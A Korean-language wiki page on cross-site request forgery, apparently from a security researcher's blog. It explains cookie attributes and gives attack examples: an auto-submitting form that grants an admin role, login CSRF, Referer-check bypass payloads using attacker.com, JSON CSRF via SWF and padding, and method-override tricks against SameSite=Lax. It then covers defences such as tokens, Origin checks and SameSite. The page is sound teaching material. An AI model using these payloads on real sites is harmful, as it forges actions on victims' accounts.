CSRF

Cross-Site Request Forgery

Introduction

CSRF는 Cross-Site Request Forgery 의 약자로 쿠키의 동작 방식을 이용한 공격 방법으로 사용자의 세션 쿠키 또는 다른 인증정보를 이용하여 사용자 모르게 공격자가 의도한 서비스 요청을 처리하는 공격 방법을 의미합니다.

Cookie와 도메인

쿠키는 웹에서 사용자를 식별하기 위한 헤더로써 웹 요청에 Cookie 헤더를 통해 같이 인증정보 등 사용자를 식별할 수 있는 데이터를 서버로 전달합니다. Cookie는 대상 도메인 마다 지정되며 A 서비스에서 B 서비스에 요청을 하면 B 서비스의 쿠키가 붙어 요청이 전송되게 됩니다. 브라우저에 종속되는 세션쿠키, 디스크에 유지되는 파일쿠키 모두 서비스에 전송된다는 규칙은 동일하게 적용됩니다.

Cookie의 보안정책/속성

쿠키에는 여러가지 보안 정책이 있습니다. 자세한 내용은 추후에 위키로 따로 추가할 예정이고, 간단하게 정리해보면 이렇습니다.

  • SameSite: 쿠키를의 SameSite 정책을 의미합니다. 해당 설정에 따라 도메인 당 쿠키 설정이 제한됩니다.
  • Domain: 쿠키를 전송할 도메인을 의미합니다. 해당 도메인에서만 쿠키가 유효해집니다.
  • Path: 쿠키를 전송할 Path를 의미합니다. Path가 / 가 아닌 경우 지정된 페이지에서만 쿠키가 전송됩니다.
  • Expires: 쿠키의 유효기간입니다. 파일 쿠키에 사용됩니다. (세션쿠키는 브라우저 탭 종료 시 만료됩니다)
  • Secure: true로 설정되는 경우 TLS(https) 환경에서만 쿠키가 전송됩니다.
  • HttpOnly: true로 설정되는 경우 Javascript에서 document.cookie로 접근할 수 없습니다.

Authorization Header

Authorization 헤더는 브라우저에서 다른 헤더와 다르게 Cookie랑 비슷하게 처리하는 로직을 가지고 있습니다. 일반적으로 Header의 경우 Javascript 단에서 추가가 필요하지만, Authorization 헤더의 경우 HTML Form을 통한 전송에서는 쿠키와 유사한 형태로 자동 포함되기 때문에 CSRF의 대상이 됩니다.

Offensive techniques

CSRF의 공격 메커니즘은 단순합니다. 서비스의 기능 요청을 크로스 도메인 환경, 즉 공격자가 구성한 웹 페이지를 이용하여 사용자의 인증정보를 포함해 전송하기만 하면 됩니다. 일반적으로 GET CSRF의 경우 img 태그, POST 등 다른 메소드를 이용한 CSRF는 form 태그가 많이 활용됩니다.

Basic CSRF

아래와 같이 권한을 부여하는 Admin API가 있다고 가정합니다.

POST /set_role HTTP/1.1
Host admin.site

id=1&role=admin

이 때 아래와 같은 공격코드를 구성할 수 있고, CSRF 보호 로직이 없는 서비스의 어드민이 로그인 후 해당 페이지에 접근 시 공격자가 의도한 계정(ex 1234)이 Admin 권한을 얻게됩니다.

<form id="csrf_form" method="post" action="https://admin.site/set_role">
  <input type="text" name="id" value="1234">
  <input type="text" name="role" value="admin">
</form>

<script>
  document.addEventListener("DOMContentLoaded", function () {
    var form = document.getElementById("csrf_form");
    if (form) {
        form.submit();
    }
  });
</script>

Login CSRF

Login CSRF는 로그인 폼에서의 CSRF를 의미합니다. 많은 개발자, 일부 보안 엔지니어는 로그인 CSRF를 비인증 상태에서 진행하기 때문에 취약하지 않다라고 판단하는 경향이 많습니다. 다만 특정 상황에서 악용할 수 있는 부분이 분명히 존재해서 꼭 검증해야하기는 부분이기도 합니다.

매커니즘은 단순합니다. 공격자의 인증정보로 사용자를 로그인 시키는 CSRF 입니다.

POST /login HTTP/1.1
Referer: attacker.site.csrf.poc

id=attacker&password=attacker_password

공격자의 계정정보에 입력하도록

로그인 CSRF를 수행하게 되면 사용자가 자기도 모르게 공격자 계정으로 로그인되는데, 이를 이용해서 중요정보를 공격자 계정에 남길 수 있도록 유도할 수도 있습니다. 예를들면 이렇습니다. 어떤 서비스는 계정정보 변경 페이지에 진입하면 기존 사용자 정보를 보여주지 않습니다. 그러면 사용자 입장에선 이 페이지가 공격자의 계정인지, 자신의 계정인지 인지하지 못할 수 있는데 여기서 공격자 계정에 사용자의 중요정보(패스워드, 계좌정보 등)을 남기게 되면 결과적으로 공격자가 사용자의 정보를 탈취할 수 있는 상황이 됩니다.

이러한 CSRF 유형은 불특정 다수를 목표로하는 CSRF 보다 정밀하게 대상을 겨냥한 CSRF 공격일 떄 훨씬 속이기 쉬우며 효과도 강력합니다.

3rd party 서비스가 연동되어 있는 경우

두번째 유형은 로그인한 서비스에서 여러 서비스와 연동된 경우에 영향을 끼칠 수 있습니다. 보통 Self XSS와 결합해서 사용하는 경우가 많은데요, Login CSRF를 통해 Self XSS가 존재하는 페이지로 이동할 수 있다면, 공격자가 의도한 XSS 코드는 사용자 디바이스에서 동작하며, 이 때 해당 페이지는 공격자의 세션이겠지만, 3rd party 등으로 다른 도메인에 연결된 서비스는 사용자의 세션일 경우가 높습니다. 이러한 경우 공격자는 이 페이지를 통해 다른 도메인의 세션 정보를 탈취하거나 SOP 등을 우회하고 데이터를 가져올 수 있게 됩니다.

Client-Side CSRF

Client-Side CSRF는 Ajax 등 비동기 HTTP 요청을 처리하는 Javascript를 속이고 원래 의도되지 않은 기능을 수행하는 형태의 CSRF입니다. 엄밀히 말하자면 Cross Site 구간으로 보기 애매하지만, 일반적으론 Client-Side CSRF로 불립니다. 또한 XSS를 통해 JS를 삽입한 시점 이후의 API 요청도 비슷하게 보는 시선도 있습니다.

<!-- Example of Client-Side CSRF -->

<script type="text/javascript">
    var csrf_token = document.querySelector("meta[name='csrf-token']").getAttribute("content");
    function ajaxLoad(){
        // process the URL hash fragment
        let hash_fragment = window.location.hash.slice(1);  

        // hash fragment should be of the format: /^(get|post);(.*)$/
        // e.g., https://site.com/index/#post;/profile
        if(hash_fragment.length > 0 && hash_fragment.indexOf(';') > 0 ){

            let params = hash_fragment.match(/^(get|post);(.*)$/);
            if(params && params.length){
                let request_method = params[1];   
                let request_endpoint = params[3];

                fetch(request_endpoint, {
                    method: request_method,
                    headers: {
                        'XSRF-TOKEN': csrf_token,
                        // [...]
                    },
                    // [...]
                }).then(response => { /* [...] */ }); 
            }
        }
    }
    // trigger the async request on page load
    window.onload = ajaxLoad();
 </script>

일반적으로 사용되는 표현이라 글에 포함했지만, 개인적으론 하나의 카테고리로 보지 않는 것이 더 적절한 것 같습니다.

Bypass protection

Bypass referer validation

https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/

Basic

1) Open https://attacker.com/csrf.html
2) Referer header is ..

Referer: https://attacker.com/csrf.html

With question mark(?) payload

1) Open https://attacker.com/csrf.html?trusted.domain.com
2) Referer header is ..

Referer: https://attacker.com/csrf.html?trusted.domain.com

With semicolon(;) payload

1) Open https://attacker.com/csrf.html;trusted.domain.com
2) Referer header is ..

Referer: https://attacker.com/csrf.html;trusted.domain.com

With subdomain payload

1) Open https://trusted.domain.com.attacker.com/csrf.html
2) Referer headers is ..

Referer: https://trusted.domain.com.attacker.com/csrf.html

JSON CSRF with SWF

https://www.hahwul.com/2018/08/12/attack-json-csrf-with-swfactionscript/

<img src="http[s]://[yourhost-and-path]/test.swf?jsonData=[yourJSON]&php_url=http[s]://[yourhost-and-path]/test.php&endpoint=http[s]://[targethost-and-endpoint]">

JSON CSRF with Parameter padding

https://www.hahwul.com/2017/05/24/web-hacking-parameter-padding-for/

<form action="csrfpage" method="POST" enctype="text/plain">
<input name='{"title":123,"content":"hello","board_code":1,"hwul":"' value='bypass"}'>
<input type="submit" value="Attack!">
</form>

PUT/DELETE CSRF

https://www.hahwul.com/2016/06/30/web-hacking-putdelete-csrfcross-site/

Only rails

<form method="post" ...>
  <input type="hidden" name="_method" value="put" />
  ...

Method/SameSite Bypass

때때로 _method 파라미터로 백엔드에서 HTTP Method를 변경하거나, 아래 Method 관련 헤더들을 통해 실제 요청하는 HTTP Method와 백엔드에서 처리되는 HTTP Method를 다르게 변경할 수 있다면 이를 이용해 CSRF 대응을 무력화할 수 있습니다.

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

대표적인 예로 SameSite=Lax로 명시된 쿠키는 GET 기반의 일반 웹 요청을 제외하곤 Cross-Origin에서 쿠키가 전달되지 않습니다. 이럴 때 Method Bypass를 이용해서 POST 기반의 CSRF를 GET 형태로 전달하고, 백엔드에서 처리되는 Method를 변경하여 이를 우회할 수 있습니다.

Authorization Header CSRF

일반적으로 HTTP Header를 통한 인증은 Javascript 단에서 이루어지며 CSRF를 성공하기 어려운 조건 중 하나가 됩니다. 다만 예외적으로 Authorization 헤더의 경우 HTML Form으로 요청 후 받아오는 경우 브라우저에서 자동으로 Authorization 헤더를 붙이기 때문에 이를 통해 인증헤더가 포함된 CSRF를 수행할 수 있습니다.

Defensive techniques

방어 매커니즘도 공격 매커니즘과 동일하게 간단합니다. 이 기능을 수행하는 요청이 크로스도메인, 또는 내가 신뢰하는 도메인에서 온 요청인지만 정확하게 검증하면 됩니다. 이를 위한 기술로 대표적인 것은 CSRF Token, Referer 헤더 검증, Origin 헤더 검증이 있으며 최근에 브라우저의 쿠키 정책의 변화로 인해서 잘 설정된 쿠키 설정으로도 충분히 막을 수 있습니다.

CSRF Token

CSRF Token은 보통 중요한 기능에 대해 CSRF를 대응하기 위해 많이 사용되는 방법이며, 기능을 수행하기 위한 페이지에서 추측할 수 없는 길이의 임의 토큰을 발급하고, 해당 토큰을 포함한 요청만 처리하도록 하여 해당 기능이 실행되어야 하는 곳에서만 처리될 수 있도록 제한하는 기술입니다.

다만 이 과정에선 정확하게 Token을 검증해야하며, Token에 대한 보안성도 충분히 고려되야 합니다.

  • 쉽게 크랙할 수 없는 긴 길이의 토큰을 사용합니다.
  • 토큰의 값은 추측하거나 역분석이 어려워야 합니다.
  • 토큰은 가급적 매번 기능 페이지 요청 시 새로 발급되어야 하며, 사용된 토큰은 폐기처리 해야합니다.
  • 토큰은 각 유저 세션당 유니크 해야합니다.
  • CSRF 토큰은 HTTP Header 또는 URI, Body 등으로 전달되어야 합니다. (쿠키는 위험해요)

CSRF Token의 보안성을 강화하기 위한 방법으로 CSRF Token을 header 또는 body 값을 통해 전달하는 방법 이외에 HttpOnly Cookie로도 전달하여 이중으로 검증하는 방법이 있습니다. 이렇게 되는 경우 어떤 액션을 통해 CSRF Token이 유추되거나 탈취되어도 보안성이 요구된 Cookie를 통해 동시에 전달할 수 없기 때문에 2차적인 피해를 예방할 수 있습니다.

POST /user/change_token HTTP/1.1
Cookie: csrf_token=s98asdf798sadf6as76df587asd6f5; httponly; secure;

csrf_token=s98asdf798sadf6as76df587asd6f5

Referer check

Referer 헤더는 요청이 발생한 origin의 주소가 포함된 Request 헤더입니다. 이를 통해서 서버는 이 요청의 시작점이 어디인지 판단할 수 있습니다. Referer 헤더 검증 시 subdomain, 하위 경로 등을 통해 우회할 수 있는 여지가 있어 정확하게 Referer 헤더에 대해 검증해야합니다.

Referer: allow_url (O)
Referer: allow_url.attacker_url (x)
Referer: attacker_url/allow_url (x)
Referer: attacker_url?allow_url (x)
Referer: attacker_url;allow_url (x)
Referer: attacker_url (x)

최근 브라우저의 경우 Cross origin에서 path를 전달하지 않습니다. Referer 헤더 체크 시 동일 도메인 CSRF의 경우 Path까지, 크로스 도메인인 경우 Host까지 검증해야합니다.

Origin check

Origin 헤더 또한 Referer 헤더와 유사하게 요청이 발생한 origin을 의미하는 헤더입니다. 다만 Referer URI Path까지 포함한다면 Origin은 도메인만 포함합니다. 해당 내용 또한 검증 시 subdomain을 통해 우회할 수 있는 부분들이 있어 정확하게 검증이 필요합니다.

SameSite

SameSite를 Lax 또는 Strict로 지정해주면 Cross-origin 환경에서 쿠키 전송이 불가능해집니다. 이를 이용하면 쉽게 CSRF를 막을 수 있습니다.

Set-Cookie: auth=blahblah; SameSite=Lax;

SameSite에 대한 자세한 내용은 ‘SameSite=Lax가 Default로? SameSite Cookie에 대해 정확하게 알아보기’ 글을 참고해주세요! hahwul

Host prefix

CSRF Token을 쿠키로만 설정할 때 쿠키 이름에 도메인 이름을 붙여주는 방법입니다. CSRF Token을 쿠키로만 설정하면 당연히 취약하지만 Host prefix(__Host-)를 사용하는 경우 구형 IE를 제외한 브라우저에선 이를 도메인을 식별하는 장치로 쓰일 수 있습니다.

Set-Cookie: __Secure-ID=123; Secure; Domain=example.com
Set-Cookie: __Host-ID=123; Secure; Path=/

다만 웹 브라우저와 같이 모든 클라이언트에서 제공하는 기능은 아닐 수 있어서 차선책 정도로만 알고 있으면 될 것 같습니다. 자세한 내용은 아래 문서를 확인해주세요.

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#cookie_prefixes

Captcha

Captcha(Completely Automated Public Turing test to tell Computers and Humans Apart)는 보통 봇을 검증하기 위해 사용하는 장치입니다. 일반적으로 사람이 식별할 수 있는 형태의 이미지를 통해 글씨를 유추하거나 컴퓨터가 판단하기 어려운 문제를 통해 사람임을 증명하는 기술인데, 이를 통해서도 CSRF에 대응할 수 있습니다.

Tools

  • https://www.hahwul.com/phoenix/csrf/
  • https://github.com/0xInfection/XSRFProbe

Articles

References